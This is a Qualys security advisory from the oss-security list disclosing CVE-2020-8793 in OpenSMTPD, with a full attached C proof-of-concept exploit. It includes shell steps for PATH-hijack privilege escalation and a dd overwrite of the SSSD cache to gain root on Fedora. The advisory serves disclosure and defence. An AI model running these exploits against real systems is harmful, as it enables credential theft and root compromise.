[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] Local information disclosure in OpenSMTPD (CVE-2020-8793)
From:       Qualys Security Advisory <qsa () qualys ! com>
Date:       2020-02-24 17:44:21
Message-ID: 20200224183355.GC17396 () localhost ! localdomain
[Download RAW message or body]

Qualys Security Advisory

Local information disclosure in OpenSMTPD (CVE-2020-8793)


==============================================================================
Contents
==============================================================================

Summary
Analysis
Exploitation
POKE 47196, 201
Acknowledgments


==============================================================================
Summary
==============================================================================

We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
an unprivileged local attacker can read the first line of an arbitrary
file (for example, root's password hash in /etc/master.passwd) or the
entire contents of another user's file (if this file and
/var/spool/smtpd/ are on the same filesystem).

We developed a proof of concept and successfully tested it against
OpenBSD 6.6 (the current release). This vulnerability is generally not
exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
default on most distributions. Surprisingly, however, it is exploitable
on Fedora (31) and yields full root privileges.


==============================================================================
Analysis
==============================================================================

In October 2015 we published the results of an exhaustive OpenSMTPD
audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
one of our key findings was:

------------------------------------------------------------------------------
Multiple hardlink attacks in the offline directory
...

In the world-writable "/var/spool/smtpd/offline" directory, local users
can create hardlinks to files they do not own, and wait until the server
reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
administrator restarts it) to carry out assorted attacks.
...

2/ The following code in offline_enqueue() allows an attacker to
execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
that is the hardlinked file's first line (CVE-2015-ABCD):
...

For example, an attacker can hardlink /etc/master.passwd to the offline
directory, and retrieve its first line (root's encrypted password) by
running ps (or a small program that simply calls sysctl() with
KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
...

4/ If an attacker is able to reach another user's file (i.e., +x on all
directories that lead to the file) but not read it, he can hardlink the
file to the offline directory, and wait for savedeadletter() to create a
world-readable copy of the file in this other user's home directory:
------------------------------------------------------------------------------

OpenBSD's patch for this vulnerability was threefold:

a/ They removed the world-writable and sticky bits from
/var/spool/smtpd/offline, changed its group to "_smtpq", and made
/usr/sbin/smtpctl set-group-ID _smtpq:

------------------------------------------------------------------------------
drwxrwx---  2 root  _smtpq     512 Oct 12 10:34 /var/spool/smtpd/offline
-r-xr-sr-x  1 root  _smtpq  217736 Oct 12 10:34 /usr/sbin/smtpctl
------------------------------------------------------------------------------

b/ They added an _smtpq group check to offline_scan():

------------------------------------------------------------------------------
1543                 /* offline file group must match parent directory group */
1544                 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid)
1545                         continue;
....
1553                 if (offline_add(e->fts_name)) {
1554                         log_warnx("warn: smtpd: "
1555                             "could not add offline message %s", e->fts_name);
1556                         continue;
1557                 }
------------------------------------------------------------------------------

This check (at line 1544) effectively prevents offline_scan() from
adding the filename of a hardlink to the offline queue (at line 1553),
because no interesting file on the filesystem belongs to the group
_smtpq.

c/ They added a hardlink check to offline_enqueue() (at line 1631),
which is called by offline_add():

------------------------------------------------------------------------------
1615                 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) {
1616                         log_warn("warn: smtpd: open: %s", path);
1617                         _exit(1);
1618                 }
1619
1620                 if (fstat(fd, &sb) == -1) {
1621                         log_warn("warn: smtpd: fstat: %s", path);
1622                         _exit(1);
1623                 }
....
1631                 if (sb.st_nlink != 1) {
1632                         log_warnx("warn: smtpd: file %s is hard-link", path);
1633                         _exit(1);
1634                 }
------------------------------------------------------------------------------

Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into
the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check
to time-of-use) race conditions. As a result, a local attacker can still
carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter)
described in our 2015 audit report.


==============================================================================
Exploitation
==============================================================================

a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and
specify a "-bi" command-line argument, then smtpctl calls execlp()
without dropping its privileges:

------------------------------------------------------------------------------
147         /* sendmail-compat makemap ... re-execute using proper interface */
148         if (argc == 2) {
...
164                 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-",
165                     (char *)NULL);
166                 err(1, "execlp");
167         }
------------------------------------------------------------------------------

We can exploit this execlp() call by specifying our own PATH environment
variable, and obtain the privileges of the group _smtpq:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/ksh
echo "$@"
exec /usr/bin/env -i /bin/ksh
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
------------------------------------------------------------------------------

b/ The _smtpq group check is made only once in offline_scan(), but not
again in offline_enqueue() (which actually open()s the offline files).
Moreover, at most five offline files are processed concurrently; the
remaining files are simply added to the offline queue for later
processing. We can reliably win this first race condition:

- we create several large but sparse files (1GB each) in the offline
  directory (these files naturally pass the _smtpq group check);

- we SIGSTOP five of the offline_enqueue() processes that open() and
  slowly read() our large files;

- we wait until offline_scan() adds all of our remaining files to the
  offline queue;

- we replace these files with hardlinks to an interesting target file
  (for example, /etc/master.passwd);

- we SIGKILL the five stopped offline_enqueue() processes.

Finally, our hardlinks are processed by offline_enqueue(), and the
_smtpq group check is defeated.

c/ To defeat the hardlink check in offline_enqueue(), we create our
hardlink before the open() call at line 1615 (this increases st_nlink to
2), and delete it before the fstat() call at line 1620 (this decreases
st_nlink back to 1). In practice, we win this tight race condition after
just a few tries: our proof of concept fork()s a dedicated process that
simply calls link() and unlink() in a loop.

Moreover, if our target file is /etc/master.passwd, we can defeat the
hardlink check without a race: we hardlink /etc/master.passwd into the
offline directory (this increases st_nlink to 2), we run /usr/bin/passwd
or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases
st_nlink back to 1), and finally we SIGKILL the five stopped
offline_enqueue() processes.

------------------------------------------------------------------------------

For example, to read the first line of /etc/master.passwd (root's
password hash) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ./proof-of-concept 20
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie \
&:/root:/bin/ksh

------------------------------------------------------------------------------

To read the entire contents of another user's file (for example,
/home/admin/deep.secret) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ls -l /home/admin/deep.secret
----------  1 admin  admin  125 Feb 15 00:52 /home/admin/deep.secret

$ cat /home/admin/deep.secret
cat: /home/admin/deep.secret: Permission denied

$ ./proof-of-concept 100 /home/admin/deep.secret
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
This is the contents of the deep.secret file.  Only root may see this file.
-rw-r--r--  1 admin  admin  132 Feb 15 01:21 /home/admin/dead.letter

$ cat /home/admin/dead.letter
From: admin <admin@obsd66.my.domain>
Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST)

secret 2
secret 3
end of secret file deep.secret


==============================================================================
POKE 47196, 201
==============================================================================

On Linux, this vulnerability is generally not exploitable because
/proc/sys/fs/protected_hardlinks prevents attackers from creating
hardlinks to files they do not own. On Fedora 31, however, smtpctl is
set-group-ID root, not set-group-ID smtpq:

------------------------------------------------------------------------------
-r-xr-sr-x. 1 root root 303368 Jul 26  2019 /usr/sbin/smtpctl
------------------------------------------------------------------------------

Surprisingly, we were able to exploit this mistake and obtain full root
privileges:

- First, we exploited the Local Privilege Escalation in smtpctl to
  obtain the privileges of the group root:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john) context=...

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/bash -p
echo "$@"
exec /usr/bin/env -i /bin/bash -p
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john) context=...
------------------------------------------------------------------------------

- Next, we searched for files that belong to the group root, are
  group-writable, but not world-writable:

------------------------------------------------------------------------------
$ find / -group root -perm -020 '!' -perm -02 -ls
  ...
  4811008      0 drwxrwxr-x   2  root     root           51 Feb 15 17:49 /var/lib/sss/mc
  4811064   8212 -rw-rw-r--   1  root     root      8406312 Feb 15 18:58 /var/lib/sss/mc/passwd
  4810978   6260 -rw-rw-r--   1  root     root      6406312 Feb 15 18:58 /var/lib/sss/mc/group
  ...
------------------------------------------------------------------------------

- Intrigued ("sss" stands for "System Security Services"), we dumped the
  contents of /var/lib/sss/mc/passwd:

------------------------------------------------------------------------------
$ hexdump -C /var/lib/sss/mc/passwd
...
00000060  10 00 00 00 e9 03 00 00  e9 03 00 00 1d 00 00 00  |................|
00000070  6a 6f 68 6e 00 78 00 00  2f 68 6f 6d 65 2f 6a 6f  |john.x../home/jo|
00000080  68 6e 00 2f 62 69 6e 2f  62 61 73 68 00 ff ff ff  |hn./bin/bash....|
...
------------------------------------------------------------------------------

- Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID)
  with zeros (root's user-ID):

------------------------------------------------------------------------------
$ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4 conv=notrunc
4+0 records in
4+0 records out
------------------------------------------------------------------------------

- Last, we executed su to re-authenticate as ourselves (as user john),
  but obtained a root shell instead:

------------------------------------------------------------------------------
$ su -l john
Password:

# id
uid=0(root) gid=1001(john) groups=1001(john) context=...
------------------------------------------------------------------------------

Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was
released and correctly made smtpctl set-group-ID smtpq, instead of
set-group-ID root.


==============================================================================
Acknowledgments
==============================================================================

We thank OpenBSD's developers, Todd Miller in particular, for their
quick response and patches. We also thank Solar Designer and MITRE's CVE
Assignment Team.



[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>




This message may contain confidential and privileged information. If it has been sent to you in \
error, please reply to advise the sender of the error and then immediately delete it. If you \
are not the intended recipient, do not read, copy, disclose or otherwise use this message. The \
sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to \
Qualys email accounts will be archived and may be scanned by us and/or by external service \
providers to detect and prevent threats to our systems, investigate illegal or inappropriate \
behavior, and/or eliminate unsolicited promotional emails ("spam"). If you have any concerns \
about this process, please contact us.


["proof-of-concept.c" (text/plain)]

/*
 * Local information disclosure in OpenSMTPD (CVE-2020-8793)
 * Copyright (C) 2020 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <fts.h>
#include <limits.h>
#include <pwd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define P_SUSPSIG       0x08000000      /* Stopped from signal. */

#define PATH_SPOOL              "/var/spool/smtpd"
#define PATH_OFFLINE            "/offline"
#define OFFLINE_QUEUEMAX        5

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * const *
create_files(const size_t n_files)
{
    size_t f;
    for (f = 0; f < n_files; f++) {
        char file[] = PATH_SPOOL PATH_OFFLINE "/0.XXXXXXXXXX";
        const int fd = mkstemp(file);
        if (fd <= -1) die();

        if (file[sizeof(file)-1] != '\0') die();
        file[sizeof(file)-1] = '\n';
        if (write(fd, file, sizeof(file)) != (ssize_t)sizeof(file)) die();
        if (close(fd) != 0) die();
    }

    const char ** const files = calloc(n_files, sizeof(char *));
    if (files == NULL) die();

    char * const paths[] = { PATH_SPOOL PATH_OFFLINE, NULL };
    FTS * const fts = fts_open(paths, FTS_PHYSICAL | FTS_NOCHDIR, NULL);
    if (fts == NULL) die();

    for (f = 0; ; ) {
        const FTSENT * const ent = fts_read(fts);
        if (ent == NULL) break;
        if (ent->fts_name[0] != '0') continue;
        if (ent->fts_name[1] != '.') continue;

        if (ent->fts_info != FTS_F) die();
        if (ent->fts_level != 1) die();
        if (ent->fts_statp->st_gid != ent->fts_parent->fts_statp->st_gid) die();
        if (ent->fts_statp->st_size <= 0) die();

        const char * const file = strdup(ent->fts_path);
        if (file == NULL) die();
        if (f >= n_files) die();
        files[f++] = file;
    }
    if (f != n_files) die();
    if (fts_close(fts) != 0) die();

    if (truncate(files[n_files - 1], 0) != 0) die();
    return files;
}

static void
wait_sentinel(const char * const * const files, const size_t n_files)
{
    for (;;) {
        struct stat sb;
        if (lstat(files[n_files - 1], &sb) != 0) {
            if (errno != ENOENT) die();
            return;
        }
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_size != 0) die();
    }
    die();
}

static void
kill_wait(const pid_t pid)
{
    if (kill(pid, SIGKILL) != 0) die();

    int status = 0;
    if (waitpid(pid, &status, 0) != pid) die();
    if (!WIFSIGNALED(status)) die();
    if (WTERMSIG(status) != SIGKILL) die();
}

typedef struct {
    int stop;
    pid_t pid;
    int fd;
} t_stopper;

static t_stopper
fork_stopper(const uid_t uid)
{
    const int stop = (uid == getuid());

    int fds[2];
    if (pipe(fds) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();

    const int fd = fds[!pid];
    if (close(fds[!!pid]) != 0) die();

    if (pid != 0) {
        const t_stopper stopper = { .stop = stop, .pid = pid, .fd = fd };
        return stopper;
    }

    int proc_mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_RUID, uid, sizeof(struct kinfo_proc), 0 };
    size_t proc_len = 0;
    if (sysctl(proc_mib, 6, NULL, &proc_len, NULL, 0) == -1) die();
    if (proc_len <= 0) proc_len = sizeof(struct kinfo_proc);
    if (proc_len > ((size_t)1 << 20)) die();

    const size_t proc_max = 0x10 * proc_len;
    void * const proc_buf = malloc(proc_max);
    if (proc_buf == NULL) die();
    if (proc_mib[5] != 0) die();
    proc_mib[5] = proc_max / sizeof(struct kinfo_proc);

    for (;;) {
        proc_len = proc_max;
        if (sysctl(proc_mib, 6, proc_buf, &proc_len, NULL, 0) == -1) die();
        if (proc_len <= 0) {
            if (stop) die();
            continue;
        }
        if (proc_len >= proc_max) die();

        const struct kinfo_proc * kp;
        if (proc_len % sizeof(*kp) != 0) die();
        for (kp = proc_buf; kp != proc_buf + proc_len; kp++) {
            if (*(const uint64_t *)kp->p_comm != *(const uint64_t *)"smtpctl") continue;
            if (kp->p_flag & P_SUSPSIG) continue;

            const pid_t pid = kp->p_pid;
            if (stop && kill(pid, SIGSTOP) != 0) continue;

            const int argv_mib[] = { CTL_KERN, KERN_PROC_ARGS, pid, KERN_PROC_ARGV };
            static char argv_buf[ARG_MAX];
            size_t argv_len = sizeof(argv_buf);
            if (sysctl(argv_mib, 4, argv_buf, &argv_len, NULL, 0) == -1) {
                continue;
            }
            if (argv_len <= sizeof(char *)) {
                if (stop) die();
                continue;
            }
            if (argv_len >= sizeof(argv_buf)) die();

            const char * const * const av = (const void *)argv_buf;
            size_t ac;
            for (ac = 0; av[ac] != NULL; ac++) {
                switch (ac) {
                case 0:
                    if (strcmp(av[ac], "sendmail") != 0) die();
                    continue;
                case 1:
                    if (strcmp(av[ac], "-S") != 0) die();
                    continue;
                case 2:
                    if (stop) {
                        if (strncmp(av[ac], PATH_SPOOL PATH_OFFLINE,
                                     sizeof(PATH_SPOOL PATH_OFFLINE)-1) != 0) die();
                        static const char ** stopped;
                        static size_t i_stopped, n_stopped;

                        size_t i;
                        for (i = 0; i < i_stopped; i++) {
                            if (strcmp(av[ac], stopped[i]) == 0) break;
                        }
                        if (i < i_stopped) break;
                        if (i != i_stopped) die();

                        if (i_stopped >= n_stopped) {
                            if (i_stopped != n_stopped) die();
                            if (n_stopped > ((size_t)1 << 20)) die();
                            n_stopped += ((size_t)1 << 10);
                            stopped = reallocarray(stopped, n_stopped, sizeof(*stopped));
                            if (stopped == NULL) die();
                        }
                        if (i_stopped >= n_stopped) die();
                        stopped[i_stopped] = strdup(av[ac]);
                        if (stopped[i_stopped] == NULL) die();
                        i_stopped++;
                    }
                    const size_t len = strlen(av[ac]) + 1;
                    if (write(fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die();
                    if (write(fd, av[ac], len) != (ssize_t)len) die();
                    break;
                default:
                    die();
                }
                break;
            }
        }
    }
    die();
}

static void
kill_stopper(const t_stopper stopper)
{
    kill_wait(stopper.pid);
    if (close(stopper.fd) != 0) die();
}

typedef struct {
    int kill;
    pid_t pid;
    char * args;
} t_stopped;

static t_stopped
wait_stopped(const t_stopper stopper)
{
    pid_t pid = 0;
    if (read(stopper.fd, &pid, sizeof(pid)) != (ssize_t)sizeof(pid)) die();
    if (pid <= 0) die();

    static char buf[ARG_MAX];
    size_t len = 0;
    for (;;) {
        if (len >= sizeof(buf)) die();
        const ssize_t nbr = read(stopper.fd, buf + len, 1);
        if (nbr <= 0) die();
        len += nbr;
        if (buf[len - 1] == '\0') break;
    }
    if (len <= 0) die();
    if (memchr(buf, '\0', len) != buf + len - 1) die();

    char * const args = strdup(buf);
    if (args == NULL) die();
    const t_stopped stopped = { .kill = stopper.stop, .pid = pid, .args = args };
    return stopped;
}

static void
kill_free_stopped(const t_stopped stopped)
{
    if (stopped.kill && kill(stopped.pid, SIGKILL) != 0) die();
    free(stopped.args);
}

static void
make_stopper_file(const char * const file)
{
    const off_t file_size = (off_t)1 << 30;
    const off_t line_size = (off_t)1 << 20;

    struct stat sb;
    if (lstat(file, &sb) != 0) die();
    if (!S_ISREG(sb.st_mode)) die();
    if (sb.st_size <= 0) die();
    if (sb.st_size >= line_size) {
        if (sb.st_size > file_size) return;
        die();
    }

    const int fd = open(file, O_WRONLY | O_NOFOLLOW, 0);
    if (fd <= -1) die();
    off_t l;
    for (l = 1; l <= file_size / line_size; l++) {
        if (lseek(fd, line_size, SEEK_END) <= l * line_size) die();
        if (write(fd, "\n", 1) != 1) die();
    }
    if (close(fd) != 0) die();
}

static size_t
find_stopped_file(const char * const * const files, const size_t n_files,
    const t_stopped stopped)
{
    size_t f;
    for (f = 0; f < n_files; f++) {
        if (strcmp(files[f], stopped.args) == 0) {
            if (f >= n_files - 1) die();
            return f;
        }
    }
    die();
}

static void
disclose_masterpasswd(const size_t n_files)
{
    if (getuid() == 0) die();
    const char * const * const files = create_files(n_files);
    size_t i;
    for (i = 0; i < n_files - 1; i++) {
        make_stopper_file(files[i]);
    }

    t_stopped queue_stopped[OFFLINE_QUEUEMAX];
    size_t t = 0;
    size_t q;
    const t_stopper queue_stopper = fork_stopper(getuid());
    puts("ready");

    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        queue_stopped[q] = wait_stopped(queue_stopper);
        const size_t f = find_stopped_file(files, n_files, queue_stopped[q]);
        printf("%zu (%zu)\n", f, q);
        if (f >= t) t = f + 1;
    }
    kill_stopper(queue_stopper);
    if (t < OFFLINE_QUEUEMAX) die();
    if (t >= n_files - 1) die();

    wait_sentinel(files, n_files);

    for (i = 0; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
        if (i < t) continue;
        if (link(_PATH_MASTERPASSWD, files[i]) != 0) die();

        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            char * const argv[] = { "/usr/bin/chpass", NULL };
            char * const envp[] = { "EDITOR=echo '#' >>", NULL };
            execve(argv[0], argv, envp);
            die();
        }

        int status = 0;
        if (waitpid(pid, &status, 0) != pid) die();
        if (!WIFEXITED(status)) die();
        if (WEXITSTATUS(status) != 0) die();

        struct stat sb;
        if (lstat(files[i], &sb) != 0) die();
        if (!S_ISREG(sb.st_mode)) die();
        if (sb.st_nlink != 1) die();
        if (sb.st_uid != 0) die();
    }

    const t_stopper target_dumper = fork_stopper(0);
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        kill_free_stopped(queue_stopped[q]);
    }
    const t_stopped target_dump = wait_stopped(target_dumper);
    puts(target_dump.args);
    kill_free_stopped(target_dump);
    kill_stopper(target_dumper);

    for (i = t; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
    }
    exit(EXIT_SUCCESS);
}

static void
make_stopper_files(const char * const * const files, const size_t n_files,
    const size_t begin_stoppers, const size_t n_stoppers)
{
    if (begin_stoppers >= n_files) die();
    if (n_stoppers > OFFLINE_QUEUEMAX) die();

    const size_t end_stoppers = begin_stoppers + 3 * n_stoppers;
    if (end_stoppers >= n_files) die();

    size_t f;
    for (f = begin_stoppers; f < end_stoppers; f++) {
        make_stopper_file(files[f]);
    }
}

typedef struct {
    pid_t pid;
    int fd;
} t_swapper;

static t_swapper
fork_swapper(const char * const target, const char * const file)
{
    struct stat sb;
    if (lstat(target, &sb) != 0) die();
    if (!S_ISREG(sb.st_mode)) die();
    if (sb.st_nlink != 1) die();

    int fds[2];
    if (pipe(fds) != 0) die();
    const pid_t pid = fork();
    if (pid <= -1) die();

    const int fd = fds[!pid];
    if (close(fds[!!pid]) != 0) die();

    if (pid != 0) {
        const t_swapper swapper = { .pid = pid, .fd = fd };
        return swapper;
    }

    if (unlink(file) != 0) die();
    if (write(fd, "A", 1) != 1) die();

    for (;;) {
        if (link(target, file) != 0) die();
        if (unlink(file) != 0) die();
    }
    die();
}

static void
wait_swapper(const t_swapper swapper)
{
    char buf[] = "whatever";
    if (read(swapper.fd, buf, sizeof(buf)) != 1) die();
    if (buf[0] != 'A') die();
}

static void
kill_swapper(const t_swapper swapper)
{
    kill_wait(swapper.pid);
    if (close(swapper.fd) != 0) die();
}

static void
disclose_deadletter(const size_t n_files, const char * const target)
{
    struct stat target_sb;
    if (target[0] != '/') die();
    if (lstat(target, &target_sb) != 0) die();
    if (!S_ISREG(target_sb.st_mode)) die();
    if (target_sb.st_nlink != 1) die();

    const uid_t target_uid = target_sb.st_uid;
    if (target_uid == getuid()) die();
    const struct passwd * const target_pw = getpwuid(target_uid);
    if (target_pw == NULL) die();

    static char deadletter[PATH_MAX];
    snprintf(deadletter, sizeof(deadletter), "%s/dead.letter", target_pw->pw_dir);
    struct stat deadletter_sb;
    if (lstat(deadletter, &deadletter_sb) != 0) {
        if (errno != ENOENT) die();
        memset(&deadletter_sb, 0, sizeof(deadletter_sb));
    }

    const char * const * const files = create_files(n_files);
    make_stopper_files(files, n_files, 0, OFFLINE_QUEUEMAX);
    const t_stopper queue_stopper = fork_stopper(getuid());
    puts("ready");

    t_stopped queue_stopped[OFFLINE_QUEUEMAX];
    size_t t = 0;
    size_t q;
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        queue_stopped[q] = wait_stopped(queue_stopper);
        const size_t f = find_stopped_file(files, n_files, queue_stopped[q]);
        printf("%zu (%zu)\n", f, q);
        if (f >= t) t = f + 1;
    }
    if (t < OFFLINE_QUEUEMAX) die();
    if (t >= n_files - 1) die();

    size_t i;
    for (i = 0; i < t; i++) {
        if (unlink(files[i]) != 0) die();
    }

    wait_sentinel(files, n_files);
    const t_stopper target_dumper = fork_stopper(target_uid);

    for (;;) {
        make_stopper_files(files, n_files, t + 1, 1);
        const t_swapper swapper = fork_swapper(target, files[t]);
        wait_swapper(swapper);
        kill_free_stopped(queue_stopped[0]);
        queue_stopped[0] = wait_stopped(queue_stopper);
        kill_swapper(swapper);

        const size_t f = find_stopped_file(files, n_files, queue_stopped[0]);
        printf("%zu\n", f);
        if (f <= t) die();
        for (i = t; i <= f; i++) {
            if (unlink(files[i]) != 0) {
                if (errno != ENOENT) die();
                if (i != t) die();
            }
        }
        t = f + 1;

        struct stat sb;
        if (lstat(deadletter, &sb) != 0) {
            if (errno != ENOENT) die();
            memset(&sb, 0, sizeof(sb));
        }
        if (memcmp(&sb, &deadletter_sb, sizeof(sb)) != 0) break;
    }
    kill_stopper(queue_stopper);

    const t_stopped target_dump = wait_stopped(target_dumper);
    puts(target_dump.args);
    kill_free_stopped(target_dump);
    kill_stopper(target_dumper);

    for (i = t; i < n_files - 1; i++) {
        if (unlink(files[i]) != 0) die();
    }
    for (q = 0; q < OFFLINE_QUEUEMAX; q++) {
        kill_free_stopped(queue_stopped[q]);
    }

    char * const argv[] = { "/bin/ls", "-l", deadletter, NULL };
    char * const envp[] = { NULL };
    execve(argv[0], argv, envp);
    die();
}

int
main(const int argc, const char * const argv[])
{
    setlinebuf(stdout);
    puts("Local information disclosure in OpenSMTPD (CVE-2020-8793)");
    puts("Copyright (C) 2020 Qualys, Inc.");

    if (argc <= 1) die();
    const size_t n_files = strtoul(argv[1], NULL, 0);
    if (n_files <= OFFLINE_QUEUEMAX) die();
    if (n_files > ((size_t)1 << 20)) die();

    if (argc == 2) {
        disclose_masterpasswd(n_files);
        die();
    }
    if (argc == 3) {
        disclose_deadletter(n_files, argv[2]);
        die();
    }
    die();
}


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic